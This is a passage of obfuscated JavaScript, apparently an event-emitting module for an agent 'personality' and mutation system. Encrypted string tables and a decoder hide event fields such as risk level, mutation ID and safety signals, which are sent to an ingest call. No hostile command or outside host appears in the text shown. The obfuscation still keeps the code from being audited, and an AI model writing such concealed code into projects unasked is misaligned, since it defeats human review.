34\x70\x64\x48\x67\x61','\x57\x34\x56\x63\x48\x43\x6b\x6a\x57\x34\x70\x64\x47\x43\x6f\x38\x57\x34\x6a\x4f\x63\x38\x6f\x55\x57\x35\x37\x63\x54\x47\x47','\x57\x50\x47\x46\x57\x37\x70\x64\x56\x63\x4e\x64\x55\x53\x6f\x75\x45\x47','\x46\x4b\x4c\x76\x65\x53\x6f\x61\x57\x34\x4e\x64\x4b\x47','\x57\x52\x5a\x63\x51\x57\x42\x64\x49\x43\x6b\x53\x57\x37\x42\x63\x4f\x64\x79','\x44\x6d\x6b\x61\x57\x51\x56\x63\x55\x53\x6f\x44\x57\x4f\x52\x63\x49\x45\x6b\x6c\x4e\x57','\x57\x52\x6a\x37\x77\x4e\x69\x52\x76\x53\x6f\x2f','\x68\x38\x6f\x6b\x57\x34\x52\x64\x48\x31\x64\x63\x4d\x38\x6b\x70\x75\x38\x6b\x43\x6f\x32\x34\x37\x57\x34\x53','\x57\x4f\x78\x64\x4c\x48\x71','\x57\x51\x42\x63\x54\x63\x61','\x75\x65\x34\x71\x44\x43\x6b\x4a\x7a\x71','\x57\x50\x4c\x64\x6f\x64\x58\x54\x70\x61\x4e\x64\x4f\x61','\x57\x37\x56\x64\x55\x67\x33\x63\x49\x38\x6f\x30\x57\x51\x4e\x64\x54\x5a\x78\x63\x4c\x30\x4f\x43\x57\x37\x4b\x50','\x7a\x77\x52\x64\x50\x43\x6b\x44\x61\x63\x38','\x57\x52\x33\x63\x51\x5a\x53\x65\x57\x52\x58\x63\x57\x4f\x47','\x57\x52\x48\x4c\x57\x34\x6c\x63\x54\x38\x6f\x44\x6d\x6d\x6f\x54\x57\x50\x78\x63\x4c\x6d\x6f\x37\x57\x34\x66\x70\x68\x71','\x57\x37\x44\x74\x57\x4f\x46\x64\x4a\x75\x68\x63\x48\x67\x44\x30','\x57\x35\x50\x78\x57\x34\x6d\x47\x57\x50\x42\x63\x4b\x6d\x6f\x43','\x70\x48\x71\x4b\x74\x38\x6b\x6e\x57\x50\x2f\x63\x48\x68\x44\x7a\x57\x36\x74\x63\x55\x6d\x6f\x6e\x57\x4f\x4f','\x57\x52\x38\x58\x57\x35\x31\x74\x45\x6d\x6b\x62','\x36\x41\x63\x46\x36\x7a\x4d\x52\x36\x7a\x45\x62\x36\x7a\x4d\x74\x35\x37\x55\x50\x70\x2b\x6b\x65\x49\x43\x6b\x79','\x6e\x4e\x34\x66\x41\x53\x6b\x34','\x57\x34\x39\x77\x57\x37\x39\x2b\x7a\x57','\x57\x37\x70\x63\x49\x4a\x79\x78\x46\x6d\x6f\x65','\x6f\x31\x7a\x54\x42\x43\x6b\x51\x57\x36\x69\x5a','\x57\x51\x37\x63\x54\x59\x4f\x42\x57\x52\x7a\x4c\x57\x4f\x30\x56','\x6d\x5a\x6c\x63\x4e\x57\x42\x64\x54\x43\x6f\x46\x73\x66\x37\x63\x55\x63\x58\x32\x57\x4f\x39\x78','\x57\x37\x78\x4d\x4e\x6b\x4e\x4d\x55\x42\x37\x4f\x54\x7a\x4e\x50\x51\x36\x2f\x4c\x4a\x69\x2f\x4d\x4c\x4f\x6c\x4f\x4f\x41\x43','\x7a\x53\x6b\x44\x57\x36\x37\x64\x51\x53\x6b\x70\x57\x35\x46\x64\x4a\x43\x6f\x78\x57\x4f\x58\x71\x44\x66\x6d\x6d','\x71\x38\x6b\x69\x70\x63\x66\x4a\x57\x37\x5a\x64\x53\x38\x6b\x41','\x66\x57\x69\x67\x57\x4f\x68\x49\x49\x6a\x78\x64\x47\x71\x53\x6b','\x7a\x38\x6f\x74\x57\x52\x78\x63\x56\x57','\x79\x38\x6b\x50\x6f\x43\x6b\x42'];_0x3434=function(){return _0x5b4801;};return _0x3434();}(function(_0x2c0cdc,_0x257580){const _0x317f61=_0x20ae,_0xcd9e69=_0x2c0cdc();while(!![]){try{const _0x247c06=-parseInt(_0x317f61(0x1fd,'\x29\x2a\x24\x21'))/(0x1fe1+-0xb*-0xfd+-0x2abf)+-parseInt(_0x317f61(0x1e5,'\x53\x5a\x4b\x4b'))/(0xd02+0xf6a+0xe35*-0x2)+parseInt(_0x317f61(0x1eb,'\x44\x39\x73\x75'))/(0xb42*0x3+-0x3b4+0x1b*-0x11d)+parseInt(_0x317f61(0x1e6,'\x7a\x44\x57\x79'))/(-0x2454+0xf08+0x1550)*(-parseInt(_0x317f61(0x206,'\x46\x6f\x39\x75'))/(-0x1*-0x11e7+-0x1419+-0x3f*-0x9))+parseInt(_0x317f61(0x20a,'\x21\x31\x5a\x61'))/(0x3cb*0x4+-0x19e8+-0x11*-0xa2)+-parseInt(_0x317f61(0x1ef,'\x26\x76\x68\x41'))/(0x304*0x4+0x1543*0x1+0x4*-0x853)+parseInt(_0x317f61(0x225,'\x59\x33\x40\x73'))/(0x21fb+-0x79f*-0x3+0xc*-0x4bc);if(_0x247c06===_0x257580)break;else _0xcd9e69['push'](_0xcd9e69['shift']());}catch(_0x14770b){_0xcd9e69['push'](_0xcd9e69['shift']());}}}(_0x3434,-0x158a13*0x1+0x1aae*-0x19+0x23bfb4));import{personalityKey}from'\x2e\x2f\x73\x63\x68\x65\x6d\x61\x2e\x6a\x73';function _0x20ae(_0x3e68c6,_0x49a38c){_0x3e68c6=_0x3e68c6-(-0x5*-0x5c1+0x1722+-0x3202);const _0x3d6823=_0x3434();let _0x55664c=_0x3d6823[_0x3e68c6];if(_0x20ae['\x4d\x75\x44\x63\x50\x41']===undefined){var _0x49fd5d=function(_0x4b9875){const _0x6c9e01='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x52e6c6='',_0xfd8886='';for(let _0x56eb65=-0x1*-0x69d+0x7d3+-0xe70,_0x3bc874,_0x370157,_0x2a55f9=-0x2251+0x581+-0x8*-0x39a;_0x370157=_0x4b9875['\x63\x68\x61\x72\x41\x74'](_0x2a55f9++);~_0x370157&&(_0x3bc874=_0x56eb65%(-0x1841+-0x8ed*0x3+0x330c)?_0x3bc874*(-0x885+-0x17d+0xa42)+_0x370157:_0x370157,_0x56eb65++%(0x24b2*-0x1+-0x1707+-0x175*-0x29))?_0x52e6c6+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](-0x1*0xe1a+0x1*-0x577+0x1490&_0x3bc874>>(-(0x15*0x1a+0x26f2+0x2*-0x1489)*_0x56eb65&-0x429*0x1+-0x18c0+0x1cef)):0x1dc2+0x16aa+-0x131*0x2c){_0x370157=_0x6c9e01['\x69\x6e\x64\x65\x78\x4f\x66'](_0x370157);}for(let _0x3ecdc7=-0x14db+-0x1d65+0x10c0*0x3,_0x63443b=_0x52e6c6['\x6c\x65\x6e\x67\x74\x68'];_0x3ecdc7<_0x63443b;_0x3ecdc7++){_0xfd8886+='\x25'+('\x30\x30'+_0x52e6c6['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x3ecdc7)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](-0x16f*-0x1+-0x6d4+-0x575*-0x1))['\x73\x6c\x69\x63\x65'](-(0xb0b+-0x7c7+-0x342));}return decodeURIComponent(_0xfd8886);};const _0x59291f=function(_0x34166f,_0x519530){let _0x1d5741=[],_0x2c0cdc=0x93f+0x2330+-0x2c6f,_0x257580,_0xcd9e69='';_0x34166f=_0x49fd5d(_0x34166f);let _0x247c06;for(_0x247c06=-0x1054+-0x6d2+0x1726;_0x247c06<-0x7*0xfa+0x1*-0xda0+-0x43*-0x52;_0x247c06++){_0x1d5741[_0x247c06]=_0x247c06;}for(_0x247c06=0x1*0x1693+-0x7*-0x61+-0x1*0x193a;_0x247c06<-0x1ba3+0x885+0x32*0x67;_0x247c06++){_0x2c0cdc=(_0x2c0cdc+_0x1d5741[_0x247c06]+_0x519530['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x247c06%_0x519530['\x6c\x65\x6e\x67\x74\x68']))%(-0x1ba6+0xeb9+0xded),_0x257580=_0x1d5741[_0x247c06],_0x1d5741[_0x247c06]=_0x1d5741[_0x2c0cdc],_0x1d5741[_0x2c0cdc]=_0x257580;}_0x247c06=-0xe*-0x92+-0x24f5*-0x1+-0x2cf1,_0x2c0cdc=0x2135+0x26ac+0x47e1*-0x1;for(let _0x14770b=0x54b*0x4+-0x4b*-0x5a+-0x5*0x982;_0x14770b<_0x34166f['\x6c\x65\x6e\x67\x74\x68'];_0x14770b++){_0x247c06=(_0x247c06+(-0x1f6*0xd+0xd02+0x8b*0x17))%(0xb42*0x3+-0x3b4+0x2*-0xe89),_0x2c0cdc=(_0x2c0cdc+_0x1d5741[_0x247c06])%(-0x2454+0xf08+0x164c),_0x257580=_0x1d5741[_0x247c06],_0x1d5741[_0x247c06]=_0x1d5741[_0x2c0cdc],_0x1d5741[_0x2c0cdc]=_0x257580,_0xcd9e69+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x34166f['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x14770b)^_0x1d5741[(_0x1d5741[_0x247c06]+_0x1d5741[_0x2c0cdc])%(-0x1*-0x11e7+-0x1419+-0x199*-0x2)]);}return _0xcd9e69;};_0x20ae['\x67\x52\x49\x58\x46\x4c']=_0x59291f,_0x20ae['\x52\x44\x55\x41\x67\x4a']={},_0x20ae['\x4d\x75\x44\x63\x50\x41']=!![];}const _0x561254=_0x3d6823[0x3cb*0x4+-0x19e8+-0x4*-0x2af],_0x341664=_0x3e68c6+_0x561254,_0x41a9dc=_0x20ae['\x52\x44\x55\x41\x67\x4a'][_0x341664];return!_0x41a9dc?(_0x20ae['\x64\x4a\x54\x4f\x51\x73']===undefined&&(_0x20ae['\x64\x4a\x54\x4f\x51\x73']=!![]),_0x55664c=_0x20ae['\x67\x52\x49\x58\x46\x4c'](_0x55664c,_0x49a38c),_0x20ae['\x52\x44\x55\x41\x67\x4a'][_0x341664]=_0x55664c):_0x55664c=_0x41a9dc,_0x55664c;}export async function emitPersonalitySelected(_0x1e0a38,_0x2a0064){const _0x349b35=_0x20ae,_0x4cb393=personalityKey(_0x2a0064[_0x349b35(0x1ed,'\x44\x39\x73\x75')+'\x69\x74\x79']);return _0x1e0a38[_0x349b35(0x20f,'\x71\x69\x29\x71')]({'\x74\x79\x70\x65':_0x349b35(0x207,'\x39\x23\x6f\x50')+_0x349b35(0x217,'\x29\x2a\x24\x21')+'\x63\x74\x65\x64','\x68\x75\x6d\x61\x6e':{'\x74\x69\x74\x6c\x65':_0x349b35(0x21e,'\x4a\x39\x68\x31')+_0x4cb393,'\x64\x65\x74\x61\x69\x6c':_0x349b35(0x214,'\x59\x33\x40\x73')+_0x2a0064[_0x349b35(0x1fe,'\x39\x4b\x53\x39')+_0x349b35(0x1ec,'\x34\x30\x38\x50')][_0x349b35(0x204,'\x49\x45\x5b\x70')][_0x349b35(0x1ff,'\x71\x69\x29\x71')](0x1*0x128d+-0x22cc+0x1041)+(_0x349b35(0x20b,'\x75\x5d\x37\x75')+_0x349b35(0x219,'\x53\x5a\x4b\x4b'))+_0x2a0064['\x70\x65\x72\x73\x6f\x6e\x61\x6c'+_0x349b35(0x1f6,'\x73\x45\x4a\x23')][_0x349b35(0x213,'\x53\x5a\x4b\x4b')+'\x74\x79'][_0x349b35(0x215,'\x46\x6f\x39\x75')](0x1007+-0x2481+0x5c*0x39)+_0x349b35(0x205,'\x4b\x2a\x71\x62')+_0x2a0064[_0x349b35(0x21b,'\x4f\x6d\x29\x56')+'\x69\x74\x79'][_0x349b35(0x1f0,'\x4d\x7a\x28\x76')+_0x349b35(0x1ea,'\x4a\x57\x63\x62')][_0x349b35(0x1f1,'\x53\x5a\x4b\x4b')](-0x87e*0x4+-0x12f1+0x34eb)},'\x70\x61\x79\x6c\x6f\x61\x64':{'\x63\x79\x63\x6c\x65\x49\x64':_0x2a0064[_0x349b35(0x1fc,'\x39\x23\x6f\x50')],'\x70\x65\x72\x73\x6f\x6e\x61\x6c\x69\x74\x79\x4b\x65\x79':_0x4cb393,'\x70\x65\x72\x73\x6f\x6e\x61\x6c\x69\x74\x79\x53\x74\x61\x74\x65':_0x2a0064[_0x349b35(0x21a,'\x59\x33\x40\x73')+_0x349b35(0x1f7,'\x50\x6c\x35\x4c')],'\x6b\x6e\x6f\x77\x6e':_0x2a0064[_0x349b35(0x203,'\x4b\x5b\x78\x67')]}});}export async function emitPersonalityRiskGated(_0x5b7b81,_0x317047){const _0x4ee31c=_0x20ae;if(!_0x317047[_0x4ee31c(0x20d,'\x7a\x44\x57\x79')][_0x4ee31c(0x223,'\x29\x2a\x24\x21')+'\x65\x64'])return null;const _0x275b5d=_0x317047[_0x4ee31c(0x1e9,'\x49\x45\x5b\x70')][_0x4ee31c(0x218,'\x50\x32\x4a\x26')];return _0x5b7b81['\x69\x6e\x67\x65\x73\x74']({'\x74\x79\x70\x65':_0x4ee31c(0x210,'\x4a\x65\x4e\x42')+_0x4ee31c(0x226,'\x4f\x40\x68\x44')+_0x4ee31c(0x201,'\x26\x6f\x23\x67'),'\x68\x75\x6d\x61\x6e':{'\x74\x69\x74\x6c\x65':_0x4ee31c(0x202,'\x5e\x38\x48\x73')+_0x275b5d[_0x4ee31c(0x222,'\x75\x5d\x37\x75')]+'\x2f'+_0x275b5d[_0x4ee31c(0x211,'\x71\x69\x29\x71')+'\x65\x6c'],'\x77\x68\x79':_0x4ee31c(0x220,'\x42\x79\x37\x51')+personalityKey(_0x317047['\x70\x65\x72\x73\x6f\x6e\x61\x6c'+_0x4ee31c(0x221,'\x5d\x30\x4f\x29')])+(_0x4ee31c(0x209,'\x4e\x56\x36\x5a')+_0x4ee31c(0x1f3,'\x21\x31\x5a\x61')+_0x4ee31c(0x1e8,'\x72\x5e\x28\x5e')+_0x4ee31c(0x1f2,'\x50\x6c\x35\x4c')+_0x4ee31c(0x20c,'\x32\x34\x65\x73')+'\x29\x3b\x20\u5b89\u5168\u4fe1\u53f7\x3a'+'\x20')+_0x317047[_0x4ee31c(0x20e,'\x4f\x6d\x29\x56')][_0x4ee31c(0x216,'\x53\x5a\x4b\x4b')+_0x4ee31c(0x21c,'\x42\x79\x37\x51')][_0x4ee31c(0x212,'\x4a\x57\x63\x62')]('\x2c\x20'),'\x73\x65\x76\x65\x72\x69\x74\x79':_0x4ee31c(0x1fb,'\x51\x58\x34\x5d')},'\x70\x61\x79\x6c\x6f\x61\x64':{'\x63\x79\x63\x6c\x65\x49\x64':_0x317047[_0x4ee31c(0x1f4,'\x5e\x38\x48\x73')],'\x6d\x75\x74\x61\x74\x69\x6f\x6e\x49\x64':_0x275b5d['\x69\x64'],'\x63\x61\x74\x65\x67\x6f\x72\x79':_0x275b5d[_0x4ee31c(0x1ee,'\x53\x5a\x4b\x4b')],'\x72\x69\x73\x6b\x4c\x65\x76\x65\x6c':_0x275b5d[_0x4ee31c(0x1f9,'\x42\x79\x37\x51')+'\x65\x6c'],'\x61\x70\x70\x6c\x69\x65\x64\x53\x69\x67\x6e\x61\x6c\x73':_0x317047['\x67\x61\x74\x65'][_0x4ee31c(0x224,'\x39\x50\x58\x44')+_0x4ee31c(0x1f8,'\x76\x24\x59\x79')]}});}